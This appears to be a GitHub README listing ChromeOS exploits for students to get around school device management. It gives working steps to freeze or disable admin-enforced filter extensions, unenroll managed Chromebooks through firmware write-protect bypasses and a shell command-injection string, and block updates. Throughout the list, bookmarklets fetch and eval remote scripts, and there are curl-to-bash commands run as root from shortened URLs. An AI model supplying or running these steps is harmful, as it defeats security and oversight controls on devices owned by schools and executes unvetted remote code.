Exploits-And-Hacks
Exploits And Hacks
This is a curated list of exploits for ChromeOS. It started with LTBEEF, and now there is more! Many of these exploits can destory your computer if used inproperly. So PLEASE PLEASE make sure you follow these instructions very carefully! If you need help ask it here
Note: Students to see the list of more exploits click on JPCMG [LTBEEF with Service workers and scroll down than click TerraOS and scroll down. Only if you are on my github.io website.
ATTENTION ALL SYS ADMINS!!!
Hello, I am Brandon and I forked this repo from 3kh0 in order to give updated and old exploits for the masses and to prove one thing, chromebooks are literal trash, and a poor excuse for a computer. They are full of exploits, you might think you blocked/patched them all but then 3 more pop up. It is a endless game of whack-a-mole. Treat your students to a windows computer, they will thank you. And don’t you dare start to think “My school district does not have that kind of money”, it most likely does! How much are you paying the blocker companies? Think about that.
Image Credit: LittleMissNyan
LTMEAT Freeze extensions
**DO NOT UPDATE YOUR CHROMEBOOK TO CHROME VERSION 115 OR ABOVE** **Patched** **On** **Chrome** **Versions** **115** **And** **above** **L**iterally **T**he **M**eatiest **E**xploit of **A**ll **T**ime From [ltmeat.bypassi.com](https://ltmeat.bypassi.com), if you are intrested in how this exploit works, check out that website. 1. Find a page belonging to the extension you want to disable. `chrome://extensions`, `chrome://extensions-internals`, and `chrome://process-internals` are all good places to find your extension's ID (a 32-character lowercase string). You can also just do a simple Google search. Once you have your ID, substitute it into the hostname in the URL below: ``` chrome-extension://extensionidhere/manifest.json ``` For some filters like Securly, the block screen is already an extension page. 2. Bookmark the extension page (bookmark A) if you wish. Then, bookmark `chrome://kill` (B) and `chrome://hang` (C). 3. While on the extension page (A), click the `chrome://kill` bookmark (B). The page should crash. You should already have the next step prepared. 4. Instantly start spamming `chrome://hang` (bookmark C) and quickly reload the page while spamming (ideally with the refresh key on your keyboard or `ctrl`+`R`). You should have reloaded within one or two seconds of killing the page. If the extension page (bookmark A) no longer loads, then LTMEAT worked! You can close your tabs and the extension will basically be dead. If nothing loads, then you probably reloaded too late or spammed too slow. This isn't rocket science! Restart your computer to revert back to normal. Exploit made by [Bypassi#7037](https://buymeacoffee.com/bypassi), [further reading](https://ltmeat.bypassi.com) ### "Help me! I'm an idiot!" Turns out that I had far too much faith in society when making this page. Some of you skids out there are really, really stupid and also can't read. So here are the answers to some commonly asked questions. **How do I get an extension ID?** Okay, fair. Extension IDs are leaked in a couple of places. Generally, the best way to get them is to go to extension settings and copy the URL query value. **It says blocked by client?** That's the message you get when you try to visit an a page belonging to an extension that doesn't exist. The error message (`ERR_BLOCKED_BY_CLIENT`) is extremely misleading. Nobody blocked it--you just need to find the right extension ID (see above). If you got this because you tried to visit the `extension_id_here_please` example URL, you should be extremely ashamed of yourself. Please change and grow as a person. **I don't have a bookmarks bar!!!!** First, try running ctrl+shift+B. If that doesn't work, go to `chrome://settings` and turn on the "home button" feature, then set it to `chrome://hang`. A home icon should show up to the right of your refresh icon in the top left. Use that instead of bookmark C. There is a version where you don't need bookmarklets, but I am currently gatekeeping it (L). Check this site daily to see if new alternate instructions have been posted. **I disabled an extension but now I can't load websites!** If you actually just read the writeup, you'd know that this would happen if the extension's background page loaded and its listeners were already initialized before you used `chrome://hang`. You can double-check whether the extension is listening using `chrome://extensions-internals`, assuming you have a few brain cells in your head. Anyway, no listeners means you were too slow. Either you waited more than three seconds between bookmark B and reloading the page, or you weren't spamming bookmark C fast enough. The most reliable fix for this is to just restart your computer and try again. Try to match the pace of the gif below: (note the reload)  **The bookmarks don't do anything when I click them!** Might be admin-blocked. Either be smart enough to figure out another way, or check this site daily to see if new alternate instructions have been posted. **I disabled the extension, why is some stuff still blocked?** I have bad news for you... not all filters are Chrome Extensions. And again, make sure the extension pages (like bookmark A) are frozen before you assume that your skiddy self successfully did the exploit. *Need more help? [Ask in the discussions](https://github.com/3kh0/ext-remover/discussions)*Baby LTMEAT Freeze extensions
**Patched On Chrome Versions 115 And Above** BABY METHOD FOR THE TECHNOLOGICALLY CHALLENGES. 1. Follow step one of the original instructions to find a page belonging to the Chrome extension you want to disable. 2. Visit that chrome-extension://blockeridhere page, then type chrome://hang in the URL bar of that tab. It should start loading infinitely. 3. Right-click the tab and duplicate it. Don't close anything. 4. Go to the chrome://extensions page for the blocker extension you want to Disable. 5. If that page has any sort of switch, such as "Allow access to file URLs", click that switch. If there are no clickable switches, cry in a corner or something. The extension should now be broken, assuming you clicked the switch! Only one of the two duplicate tabs should be left standing. You can close your tabs now.LTMEAT Flood Freeze extensions
**If your Chromebook has received the 115 And Above patch on the stable channel Then Here's A New Method For LTMEAT** **Unpatched on 115 and above** **L**iterally **T**he **M**eatiest **E**xploit of **A**ll **T**ime 1. Create a bookmark folder and paste the extension page lots of times. (About 800 minimum is recommended assuming your Chromebook is average school quality) It is recommended that you add the extension page at the beginning of the folder. 2. Right click and open all in a new window. 3. Close the window with all those tabs. 4. Open the folder in a new window again, and Chrome should hang those tabs to take care of the old ones in the background that were just closed. (Equivalent to the duplicate tab step in Bypassi's method) 5. Flip the Allow access to file URLs switch in the extension settings and then you've bypassed the patch and the exploit is working. 6. Close everything and you're good to go. If it didn't work, try adjusting the number of open tabs. This is the LTMEAT Flood Method, and also unofficially called Alternate Method # 2. Enjoy a much longer life of LTMEAT! **Not working?** Ensure you open a large set, but not too large, of extension tabs (_/generated_background_page.html or /manifest.json) for a permanent freeze. Credit to Ashton Davies for finding this workaroundBaby LTMEAT Flood Freeze extensions
**Unpatched on 115 and above** 1. First of all, get your folder with 800+ extension page tabs and open it in a new window, for my Chromebook i used 800 extension page tabs as i feel it's the right amount for me 2. Close the newly opened Window with 800+ extension page tabs 3. Click into your folder, and open one of the extension page tab in a new window, maybe waiting slightly longer this time, to confirm it worked. If it loads, you did it wrong. If you see a "page unresponsive screen, and a wait/exit page button" you did it right" But don't click either of the buttons. (if you want to do it fast you can just see that the page always has a spinning loading circle) 4. Now go to `chrome://extensions/?id=yourblockerID` Then scroll down and flick the "allow access to file URLs" lever and close the window with the 1 extension page tab remaining.LTVegan Freeze extensions
1. find the biggest file for your blocker extension 2. open chrome://extensions/?id=IDHERE 3. CTRL+A to copy all of the code, then drag the copied text to the tabs bar. this may freeze your chromebook a few times. 4. start clicking the chrome extension tab (chrome://extensions/?id=IDHERE ) a few times, then wait ( chromebook is currently frozen). 5. when your chromebook isn’t as frozen, right click the main.js tab and duplicate it. 6. click the “Allow access to file URLs” (multiple times for good measure) and the first tab should close itself. if BOTH tabs closed themselves, you did something wrong, or just try again. 7. you should be able to normally use your Chromebook now. afaik you might be able to close the duplicated tab but I didn’t close it and it lasted for a long time.Anesthesia Freeze extensions with printing
1. Find your extension's largest file. This can usually be found by poking around in your extension's manifest.json or you can use Rob Wu's crxviewer to find your extensions largest file. 2. Go to that page. and hit `Ctrl`+`P`. A print window shoudl show up, with a number of pages in the top right. 3. Do everything you can to increase that number. Shrink down margins, change layout to landscape, anything you can. The higher you can get that number, the longer the effect will last. 4 Hit reload. The page should start hanging. 5. Go to your extension's settings page. This is in `chrome://extensions`. 6. Duplicate your "printing" tab, and go back to your extension's settings page. 7. Flip any switch you can find there. Usually there'll be one titled "`Allow Access to File:// [URL]s`". 8. Presto! Go have fun on the (probably) unblocked web. FAQ: Where do I find my extension's manifest.json? First find your extension's ID. This is a 32-character code that can be found in your extension's settings page, normally near or at the top. Then go to chrome-extension://your-32-char-id-goes-here/manifest.json Credit to Bypassi for the original LTMEAT framework, and HUGE thanks to Swordmaster4321 for discovering that pages can be hanged with printing.LoMoH Disable extensions
**This exploit has been patched in Chrome OS 111 after being found and reported. It should have gotten admin protection sooner.** **About: LoMoH is a Chromebook exploit that uses the Chrome OS locked mode feature to soft disable enforced extensions (excluding Hapara Highlights if installed).** HTML VERSION: LoMoH HTML BOOKMARKLET VERSION: `javascript:(function(){if (location.hostname == "docs.google.com") {document.body.innerHTML = document.body.innerHTML.replace("Locked mode is on", "Are you ready to turn off extensions?%22);%20document.body.innerHTML%20=%20document.body.innerHTML.replace(%22You%20have%20already%20opened%20and%20closed%20this%20quiz.%20Opening%20this%20quiz%20again%20will%20notify%20the%20form%20owner%20by%20email.%22,%20%22This%20will%20reload%20all%20tabs%20in%20your%20browser%22);%20var%20button%20=%20document.getElementById(%27mG61Hd%27);%20button.innerHTML%20=%20button.innerHTML.replace(%22Start%20Quiz%22,%20%22Disable%20Extensions%22);%20button.addEventListener(%27click%27,%20function(event){window.close();})}%20else%20{window.open(%22https://docs.google.com/forms/u/0/d/e/1FAIpQLSf5EYwrSUjmQhBOasMpORZy80eBCYb7qCpEwWNoRPUGyObGMA/startquiz%22);}})()` Credit to Ashton Davies for finding this exploitDextensify Freeze extensions
**Dextensify is an exploit which lets you disable most admin-installed Chrome extensions from any webpage. It can be used from regular websites, HTML files, and data URLs.** Go here and follow instructions: Dextensify Main HTML, or download the file here Dextensify.html Credit to ading2210 for finding/Making this exploitJPCMG LTBEEF with Service workers
**Requirements** - Access to `chrome://serviceworker-internals` - Inspect element 1. Go to `chrome://serviceworker-internals` 2. Find your extension, this wont work if theres not a plugin in there. 3. Hit the start button then the `inspect` button, run basic LTBEEF code ```js chrome.management.setEnabled('Corkey Corrupt extensions
**Corkey does indeed include power washing the Chromebook, which wipes local data including everything under "My files," so I suggest you select everything you want to drag and back up to Google Drive if that's available for your account.** **Chromebooks Only** 1. `Esc`+`Refresh`+`Power` and re-enroll (Enter recovery page) or you can just powerwash 2. log into your chromebook and immediately turn off wifi and do `refresh`+`power` to (instant restart) 3. Log back into your chromebook with the wifi off. There should be something on the side of the connect wifi page that says log in offline or sign in as a existing user. 4. Go to `chrome://extensions`, turn on wifi, and wait for your schools blocking extension to appear. 5. As soon as it appears turn off wifi and instant restart as fast as you can. 6. Log back in and go back to extensions and wait. If it says your blocking extension could be corrupted or doesnt appear at all then it worked (wait atleast a minute with a close watch incase it comes back) 7. If it didnt work repeat from step 1. 8. If it did work you could go onto anythingCorkGuardian Freeze goguardian
**You have to have the toggle in toolbar option on for goguardian in the `chrome://extensions` tab.** 1. Turn off Wi-Fi 2. Go to `chrome://extensions/?id=haldlgldplgnggkjaafhelgiaglafanh` 3. Flip on and off the allow access to file urls button 4. rapidly click on the GoGuardian extension until it turns dark grey 5. Turn wifi back on 6. Have fun browsing anything you want Note: this only bypasses GoGuardian, any other blockers (like LightSpeed) or network blocks aren't bypassed. This works on atleast 122 Signing out again will remove the blocks, and you have to do the process again.Extension Launcher Install extensions w/o allowlist
A bookmarklet capable of installing extensions, for those without a allowlist. Steps: 1. Go to here bookmark the code there (Might make a dns) 2. go to chrome.google.com/webstorex and use the bookmarklet, then put the icon of the extension, the id, and name of it (Doesn't matter just put anything) 3. press download, and it will work. **Extra Notes** - Credit to "Aka, but nice" on discord. - Dns will be up soon, if bookmarklets are blocked - This will not work if you have a blocklist this is only for if when you go to the webstore it shows blockedPoint-Blank Scripts on extension pages
This exploit allows you to run scripts, on extensions pages, this is a great example of how Chromebooks are a piece of garbage. Getting started (Note: if bookmarklets are blocked your screwed.) 1. Go to here if blocked on your school chromebook. 2. Make a bookmark with the code there. 3. Once that is done, If you have Securly go to here if it says blocked by chrome, reload (you have to actually have securly ofc) If you have iBoss go to here. If you have Cisco Umbrella go to here. If you have Blocksi go to here. And if you have GoGuardian(might not work) go to here. Now most of these links are a block page(this is intentional) on each page should have a blue link, click the link on the page if it opens a blank page click the bookmarklet that you just made and click either hard disable or soft disable, you can also run some of the scripts and run your own code, your extension may disable javascript being ran on it, so running your own code may not work. **Extra notes** - I recommend doing soft disable, which only disables it until restart. - The launcher was made by 3kh0, but the idea was from Bypassi#7037 - If your school updated GoGuardian, this exploit may not work.UBoss Tamper with IBoss
By the BlueHatCrew https://dsc.gg/blue-hat-crew This works only for iBoss, and Blocksi, If you don't have one of these, use Blank3r or Point Blank. 1. Go to https://tinyurl.com/byeswamp if you have iBoss or https://tinyurl.com/blockboss if you have Blocksi. Then bookmark the code below ```js javascript:opener.eval(`fetch("https://rounded-boiling-flax.glitch.me/uboss.js").then(data=>{data.text().then(e=>{eval(e)})})`) && close(); ``` 2. Then go to the site with your blocker that was listed above. 3. Run the code. Follow the instructions there. If it doesnt work let us know by creating a discussion, this was made in partnership with Aka, but nice#5094 and Bypassi#7037.A Bypass For IBoss Unblock websites that are blocked by IBoss
1. Firstly go over to your unblocked website you want to access. 2. After visiting the website it should be blocked. 3. You want to turn off your wifi, then spamclick the blocked link (not the url) 4. Then after spamclicking, turn on your wifi. 5. It should redirect you to "your connections been dissrupted" press reload. 6. Then you should be at the blocked website completely unblocked!! (NOTE: THIS ONLY WORKS ON SOME WEBSITES)CAUB Prevent Updates
This exploit keeps your chromebook downgraded (or on the current version) without automatic updates screwing you over. This exploit was found by Catakang#0987. Using onc files, you can convince your chromebook that the wifi that you're connected to is pay-to-use (like a hotspot using data), and thus it will not check for updates.  Getting started 1. Go to `chrome://network#state` (on your school chromebook of course; if this is blocked then ur kinda screwed lol). 2. Scroll to the bottom of the page; you should see a list of "favorite" wifis that you've connected to in the past. 3. Click the `+` sign next to the wifi name of each network that you commonly connect your chromebook to. 4. The more wifis you expand, the better, but note that they have to come from the "favorites" section. 5. Use ctrl+a and ctrl+c to copy all the text on the entire network#state page. 6. Go to caub.glitch.me. 7. Paste the copied text into the textbox bshelow. 8. Press the `generate onc` button below the textbox. 9. Once you have downloaded the file, go to `chrome://network#general`. 10. Click on the `import onc` button. 11. Import the newly downloaded file. **Extra notes** - Your chromebook will no longer automatically update. (as long as you are on a wifi that you used caub on) - Be careful not to stay on a wifi for too long without using caub on it, otherwise you might update. - We cannot guarantee that this will work on every wifiCAUB Via Flags Prevent Updates
This alt exploit keeps your chromebook downgraded (or on the current version) without automatic updates screwing you over. This exploit was found by MechaXYZ. Using a chrome flag, you can convince your chromebook not to automatic update. ### Requirements - Access to `chrome://flags` Getting started 1. Go to `chrome://flags#show-metered-toggle` or search "metered" in `chrome://flags` instead. 2. Enable it and restart your device. 3. Open the Settings app. 4. Go to your Network >> Advanced >> Show metered toggle and turn it on **Extra notes** - Your chromebook will no longer automatically update. (as long as you have the flag enabled) - And you must be able to enable flags if it ain't blocked otherwise this exploit won't workLTBEEF Disable extensions
LTBEEF is an exploit, created by Bypassi#7037, which abuses api endpoints within the google chrome webstore. The original site created for this exploit can be found at ltbeef.netlify.app Please Note: This exploit only works on versions below 106, and eariler versions of 102 **Installation** There are several vesions of this exploit you can use, here are the 2 most common versions: - *Bookmarklets* 1. To use a GUI, bookmark one of the below scripts: - Ingot ```js javascript:(function () {var a = document.createElement('script');a.src = 'https://cdn.jsdelivr.net/gh/FogNetwork/Ingot/ingot.min.js';document.body.appendChild(a);}()) ``` - Compact Cow's UI ```js javascript:fetch(`https://compactcow.com/ltbeef/exploit.js`).then(data=>{data.text().then(text=>{eval(text)})}); ``` - Compact Cow's UI (Dark) ```js javascript:void fetch(`https://raw.githubusercontent.com/3kh0/ext-remover/main/exploit.js`).then(d=>d.text()).then(eval); ``` 2. Navigate to https://chrome.google.com/webstorex and click on that bookmark. 3. Flip the switches on the extentions you want to disable. Simple! Photos of the GUI's:   - *DNS servers* By changing your DNS server, you can use LTBEEF, even if bookmarklets are blocked. 1. First, go to Settings > Network > Wifi > Network. 2. Click on `Custom Name Servers`  3. Set every box there to the following ip: ``` 158.101.114.159 ``` (Hosted by The Greatest Giant#0110) 4. Navigate to https://chrome.google.com/webstorex and click on that bookmark. 5. Flip the switches on the extentions you want to disable. 6. ProfitLTBEEF inspect Using inspect to disable extensions
 The screenshot below was preformed on `108.0.5359.75` (Official Build) (64-bit) on the stable channel. This has been tested and does work but has varying levels of success, you will need access to inspect element, more specifically, console. 1. Open this on your chromebook: ``` chrome-extension://gndmhdcefbhlchkhipcnnbkcmicncehk/manifest.json ``` Shortened link: https://tinyurl.com/i-ltbeef 2. Open inspect and navigate to the console tab. 3. Run the basic LTBEEF code such as ```js chrome.management.setEnabled('extensionid', false) ``` Replacing `extensionid` with the ID of the extension you want to disable, e.g. the stuff after the = in the URL bar when you click the extension's "details" button in chrome://extensions Credit to SprinkzMC#8421 (aka Bypassi) for finding this!  To re-enable just go to the chrome web listing for the extension and click on the banner.Blank3r Reload extensions continuously
Point Blank is an exploit that allows you to run bookmarklets on privileged pages, such as the Chrome extensions page. This exploit was made with Point Blank as well. You can either use the prompt or the gui the prompt is below 1. Bookmark this code: ```js javascript:let shim = false;var ids = prompt("extension ids (comma separated)").split(",");setInterval(()=>{ids.forEach((id)=> opener.chrome.developerPrivate.updateExtensionConfiguration({extensionId: id, fileAccess: shim}));shim = !shim;}, 145); ``` And the gui is in launcher.js 2. Navigate to `chrome://extensions`. 3. Click on a extension that YOU installed from the Chrome Web Store > Details. 4. In the URL bar, copy the string of letters and numbers after the `/?id=`. 5. Click "View in Chrome Web Store" and spam the excape key. If it loads into chrome webstore try again, if it is a blank screen click the bookmarklet. 5. Paste the id of the extension into the prompt or input box seperated by commas. If you close the tab, the exploit will stop working.Pencil Method Unenroll by bridging pins on the motherboard
**This can harm your Chromebook if done incorrectly. Use at your own risk.** **Unenrolling by bridging pins on the motherboard.** The proper guide was created by Darkn. ## Requirements - Conductive material (staple, tin foil, paperclip, etc.) - Scissors - Tape (optional, recommended) - USB drive or SD card with Sh1mmer flashed - Screwdriver corresponding to the screws of your Chromebook ## Dismantling Hardware & Bridging Pins **Instructions** 1. With a screwdriver, remove each screw from the bottom of your Chromebook. 2. Disconnect the battery. The battery cable placement varies between models. 3. On the motherboard, find the 8-pin chip with pins sticking out or in. It likely has winbond or GigaDevice branding, and it may show 25Q64[xx] or 25Q128[xx] below the branding. It may be located on the back of the motherboard. 4. Shape a piece of your conductive material long enough to connect to both sides of the chip and small enough to not make contact with multiple pins on either side of the chip. 5. Place one end of the conductive material on pin 3 (WP). 6. Place the other end of the conductive material on pin 8 (VCC). 7. If necessary, place tape on top of the chip to keep the conductive material on the pins. 8. Connect the battery. ## Performing the Exploit **Instructions** 1. Boot into Sh1mmer with the USB. 2. In the Sh1mmer menu, navigate to Utilities. 3. Select **Un-Enroll Device**. This is necessary even if the process fails. 4. In the **Utilities** menu, select **Open Bash**. 5. In the bash shell, run the following commands: `flashrom --wp-disable /usr/share/vboot/bin/set_gbb_flags.sh 0x8090` If the commands fail, the pins are not bridged correctly. 6. Reboot the Chromebook by pressing **Refresh** ↻ + **Power** ⏻. 7. Press **Ctrl + D** to bypass the OS verification screen. 8. Boot into Chrome OS. 9. Press **Ctrl** + **Alt** + **F2** to enter the VT2 shell. 10. Log in to the shell as **root**. 11. Run the following commands: `tpm_manager_client take_ownership cryptohome --action=remove_firmware_management_parameters` 12. Press **Ctrl** + **Alt** + **F1** to exit the VT2 shell. 13. Press **Ctrl+Alt+Shift+R**. 14. Click **Powerwash**.CryptoSmite Unenrollment
**CryptoSmite** is an exploit capable of completely unenrolling enterprise-managed Chromebooks. It was found by FWSmasher and released on **March 9th, 2024**. **This exploit has been patched since Chrome OS 120.** ### Finding Kernver If you're on v120 or higher, you need to downgrade in order to use CryptoSmite. To do this, you first need to check your `kernver=` in Recovery Mode. 1. Boot into Recovery Mode - Hold ESC + Refresh + Power for 2 or 3 seconds. - You should be on an "Insert Recovery Media" or "Let's step you through the recovery process" screen. 2. Press TAB and look at the last digit of the `kernver=` line - `kernver=` ends with a 2!Congratulations, you can downgrade to v119 or lower! Follow the instructions at [Downgrading *Change versions*](#downgrading-change-versions) on how to downgrade. - `kernver=` ends with a 3!
Sorry, you can't downgrade to v119 or lower. Wait for a new unenrollment exploit or do a **dangerous** hardware modification. ### Using CryptoSmite 1. Download a SH1MMER Prebuilt image here: https://dl.darkn.bio/SH1mmer/Prebuilt/ 2. Disable OS verification *(blocked or not, doesn't matter)*, and boot into the shim. 3. Navigate to Payloads and navigate to CryptoSmite using the arrow keys, then press `Enter`. 4. Type in `Y` then press enter, and it'll automatically reboot upon completion. 5. Proceed through the setup partially till you get to the Add Account Screen. - If you see an update prompt, reboot then press `CTRL + ALT + E` on the Wi-Fi screen. - This *should* allow skipping the update, or make it not appear at all. 6. Powerwash the Chromebook at the "Add Account" screen. Afterwards, it'll be fully unenrolled. ### Further Reading - Repository - Writeup - Official Blogspot
SH1mmer Unenrollment
sh1mmer is an exploit developed by the crew at Mercury Workshop. Credits can be found within the menu and on their site. Further information is now located at these links: Official Repository Official Website (INSTRUCTIONS) Raw Shims DownloadSH1mmer V111 → V113 Unenrollment
How to use SH1MMER on v111 → v113 (if you're willing to take the back cover off your Chromebook) you'll only need to do this once, and it will let you use SH1MMER even after it's been completely patched 1. Unplug everything, open the back panel, disconnect the battery to disable WP, plug in the charger 2. boot into SH1MMER and use "Un-Enroll / Deprovision" (yes I know it will show an error, but that doesn't matter) (you will also need to run "Disable block_devmode" if you're using the old legacy version) 3. go to the bash shell and run this command: /usr/share/vboot/bin/set_gbb_flags.sh 0x8090 do not use "Reset GBB Flags" after this 4. exit SH1MMER, unplug everything, reconnect the battery, reconnect the charger 5. boot up, press CTRL + D to enter developer mode 6. once it completes, use CTRL + ALT + SHIFT + R to powerwash 7. after powerwash, immediately go into VT2 by pressing CTRL + ALT + F2 (→), login as "root" and run these commands: tpm_manager_client take_ownership cryptohome --action=remove_firmware_management_parameters if it fails, try downgrading to v110 if possible. if you can't, use E-Halycon instead. 8. press CTRL + ALT + F1 (←), use CTRL + ALT + SHIFT + R to powerwash again 9. profit NOTE: if you're on dedede, your WP method is probably different. look your model up online to find the WP method.E-Halcyon Unenrollment Or Downgrade
First of all, you'll need a linux PC or VM. WSL is not guaranteed to work Now, you'll need to boot into SH1MMER, and press the Un-Enroll option. It won't truly unenroll you if you've received the 112 update patching unenrollment and downgrading, but it is still a necessary step for the rest of this. If you've never used SH1MMER before or don't have an image lying around, make sure to follow all the instructions on sh1mmer.me for unenrollment before proceeding with the rest of the tutorial here Next, you need a version 107 recovery image corresponding to your board, which you can pick up from chrome100.dev. Once you've downloaded the right image for your board and have confirmed it's for version 107, unzip it and save it to a safe place. Now open up a terminal and type in the following commands (make sure to replace /path/to/recovery/image.bin with the actual path) ``` git clone https://github.com/MercuryWorkshop/RecoMod cd RecoMod chmod +x recomod.sh sudo ./recomod.sh -i /path/to/recovery/image.bin --halcyon --rw_legacy ``` The script will modify the image in place, and it can now be flashed with a standard recovery tool onto a USB of your choice. Enable developer mode and get to the dev mode block screen similarly to how you would with SH1MMER, then plug in the USB. The recovery screen will show up, and at this point you need to start spamming the E key on your keyboard. It will begin a 5 minute wait sequence, and near the end of the 5 minutes start spamming E again. You will only have to wait 5 minutes once, subsequent boots will have the 5 minute wait omitted The boot splash will show, and you will enter a special menu. Use arrow keys to navigate the cursor down to "activate halcyon environment" and press enter. Then navigate down to "Install halcyon semi-tethered" and wait for it to finish. Once it's finished, go back to "activate halcyon environment" and press "Boot halcyon semi-tethered". and you will be booted into a downgraded and unenrolled ChromeOS environment. FAQ: How does this work? See the writeup for more information Can the admins see that I'm doing this? No. Why don't my history/cookies/etc save after a reboot? Unfixable restriction of cryptohome. See the writeup for more information Why is my Chromebook "Missing or damaged?" After installing E-Halcyon, you won't be able to boot Chrome OS normally. You'll have to keep the usb around to jumpstart the booting process Where do I report bugs? The RecoMod GitHub Why does it say "E mode not activated" when I try to boot halcyon? You spammed the E key when starting at the wrong time, or not at all Credits: CoolElectronics - RecoMod, working switch_root, and everything else OlyB - Insight and contributions to the RecoMod script vk6 - Created this websiteOld Weird Unenrollment Unenrollment
if you have a chromebook that's on a version below 101 (check `chrome://version` to see) press ctrl+alt+t and type this in `set_cellular_ppp \';dbus-send${IFS}--system${IFS}--print-reply${IFS}--dest=org.chromium.SessionManager${IFS}/org/chromium/SessionManager${IFS}org.chromium.SessionManagerInterface.ClearForcedReEnrollmentVpd;exit;\'` then powerwash and it will unenroll cool right to re-enroll, open a bash shell and type these in one by one ``` sudo -i ``` ``` vpd -i RW_VPD -s check_enrollment=1 ``` ``` echo "fast safe" > /mnt/stateful_partition/factory_install_reset reboot ```BlobeVM Unblocked Chrome And Firefox Browser
### Installation First start a new blank codespace by going to https://github.com/codespaces/ and choosing the "Blank" template. Then copy and paste this command in your codespace terminal and hit enter. ``` curl -O https://raw.githubusercontent.com/Brandon421-ops/BlobeVM/main/install.sh chmod +x install.sh ./install.sh ```Linux On Gitpod Linux Unblocked
# Linux On Gitpod Source: 3kh0/GamingOnCodespaces > [!NOTE] > You may need a phone number and be able to recieve phone calls ```Always `CTRL` + Click links to open in new tab``` Sign up to The Hub (GitHub) To use, click here, continue with the hub, then press continue. Wait... then on the bottom right Click open browser.Outlook Exploit Unblocked browser method (outlook)
### Requirements - Access to dev tools (inspect) **Instructions** This takes a while to get blocked 1. Open outlook 2. Go to the + sign 3. Press add apps 4. Search up bookings 5. Add the app and open it 6. Right click and press inspect 7. Go to console 8. On console you’ll see error messages 9. Click the blue magnifying on one of the errors 10. A browser will pop up. 11. Search up whatever 12. All done 🙂TerraOS Linux from RMA shim
1. Clone the TerraOS repository. Run `git clone https://github.com/r58Playz/terraos.git` in a terminal. 2. Create a build directory in the cloned directory. 3. Run `bash ../scripts/build_stage1.shShimboot Linux from RMA shim
Shimboot is a collection of scripts for patching a Chrome OS RMA shim to serve as a bootloader for a standard Linux distribution. It allows you to boot a full desktop Debian install on a Chromebook, without needing to unenroll it or modify the firmware. **For more detailed information, please see the project's README** Further reading: - https://shimboot.ading.dev/ - https://github.com/ading2210/shimboot Credit to vk6 for this exploitSkiovox Unrestricted browsing
**Patched on chrome versons 120+** ### What is it? An exploit that allows for browsing within a completely unblocked Chrome browser. It works on ChromeOS 118 and a wide range of previous versions. - Skiovox utilizes a bug in kiosk apps - Very similar to a bug from 3 years ago Within the unblocked browser, you can - Install extensions - Bypass pretty much all blocks - Do whatever the honk you want ### How to use it Bypassi made a wonderful slideshow for you goof balls to follow, view using any of the links below! - https://www.skiovox.com/ - https://skiovox.netlify.app - https://drive.google.com/file/d/1tl8eP26MFRejHO38H5HwMLl2VaQrtn0Z/preview - https://1drv.ms/b/s!Ais5N3vPLTEMh8poZbywnNWdMUrhUA?e=MaCHBxSkiovox for v120 Unrestricted browsing
**Skiovox Method "120"** "If you see that you don't have a sign in as existing user button, click Ctrl+Alt+Shift+R then click cancel" then continue. 1. Sign out of your chromebook. 2. Turn off your wifi. 3. Select one of the apps 4. As soon as you click on the app, quickly hit Alt+Shift+S. 5. This should to launch the toolbar; watch for the "No wifi" screen to appear. 6. After you click the settings on the screen brightness settings in the tool bar, nothing should happen (the tool bar will disappear), and that's normal. 7. Press Ctrl+alt+z to open Chrome Vox, then select Resources, then select a link. Now use the exact keybindings to close Chrome Vox. 8. Entering your password and school account, after click "Sign in as existing user." (Same login for school.) If everything went well, you should notice "muti user sign in disabled on this Chromebook" and be logged into your school account in the kiosk app. To bypass simply press the ESC button. 9. You should be able to exit the browser associated with your school account and see a settings option; try turning on wifi first, then close that window. The window unblocked is the last one. You can launch incognito as well.Skiovox for v121 Unrestricted browsing
**Skiovox Method "121"** 1. signout 2. type your password in (dont enter) 3. click esc + shift + alt + r 4. click "cancel" (dont powerwash your chromebook) 5. do the normal skiovox thingy (ex: turning off wifi, going into the kiosk app, and alt + shift + s'ing then finally going to accessibility and question mark) -- these next steps have to be fast 6. click "add wifi" then spam esc 7. click add other person and spam esc **Only works if you have your gmail saved into your chromebook like those who have their gmail saved in their chromebook, so like when you sign out, your pfp would be there and you would only need to type your password basically if it shows usernames and photos on the sign-in screen is enabled by admin.**Skiovox breakout permanent code execution
1. Get into skiovox normally (install skiovox-helper or skiomox) 2. download the extension at https://github.com/munyDev/skiovox-breakout/ (i use the css branch but you can use main) (click on code button and press download zip) 3. once you have the extension installed click on it 4. this will open a menu in the first input box type the first 5 letters of the extension ID 5. in the second one either type in custom JS for it to run or for more fun remove everything out of the box 6. click start injection 7. next open a file (ex: *.html) should open a school window 8. open the extension page and press any switch (if there is none open a file such as the background.js) 9. copy the url (filesystem:chrome-extension:ID_HERE/temporary/shim.html) and make it a bookmark 10. reboot and log in normally 11. right click on the bookmark open in new tab boom! arbitrary code executorTr3nch Running scripts in chrome://os-settings with SKIOVOX and Sh0vel
Website GitHub Discord SourceFakemurk Trick your Chromebook into being in developer mode while being enrolled in your school's profile
**Fakemurk is a script that is able to run in developer mode to trick your Chromebook into being in developer mode while being enrolled in your school's profile. You can use this to disable any extension, as well as have full access to the chrome web store and google play store. This basically provides a personal Chromebook-like experience, while still being enrolled.** Go here and follow instructions: Fakemurk DocPollen Chrome OS User Policy Editor
**DEV MODE ONLY** Normal Use open crosh ``` run shell run sudo su run curl -Ls https://mercuryworkshop.github.io/Pollen/Pollen.sh | bash ``` then press alt+vol_up+x to make your own modifactions refer to the Pollen Wiki Pollen Modifaction WikiCustomized Pollen Chrome OS Policy Editor Customized
**Customized Pollen for SH1mmered chrombook users.** The original pollen by Mercury Workshop: Pollen GitHub It removes all admin installed extensions and thats kinda a problem for everyone so fruvs (op) edited it to make it fit more for SH1mmer users because fruvs (op) already got caught once cause he got snitched on. So fruvs (op) customized this one to edit lots of features. But to keep all admin installed extensions so no one get's caught. So fruvs (op) edited some incognito mode: on (everything unblocked, idk if extensions like GoGauridan can see) ExtensionSettings: all settings removed HomepageLocation: chrome://newtab NewTabPageLocation: (left empty) ManagedBookmarks: removed all school added bookmarks PinnedLauncherApps: removed all force pinned apps to home bar RestoreOnStartupURLs: (set it so when you open a new window some schools forces it to also open the schools homepage so its set back to new tab and no extra tabs) WebAppInstallForceList: removed all force installed apps How to run Note: Devmode NEEDS to be enabled. Open Crosh Run ``` shell ``` Run ``` sudo su ``` Run ``` curl -Ls https://tinyurl.com/repollen | bash ``` Done! It may take a few seconds for the new policy to apply. If it does not apply, press ``` alt+vol_up+x ``` Errors If you have Linux enabled you will have to turn it off and turn it back on for it to work THIS WILL RESET EVERY TIME YOU RESTART THE 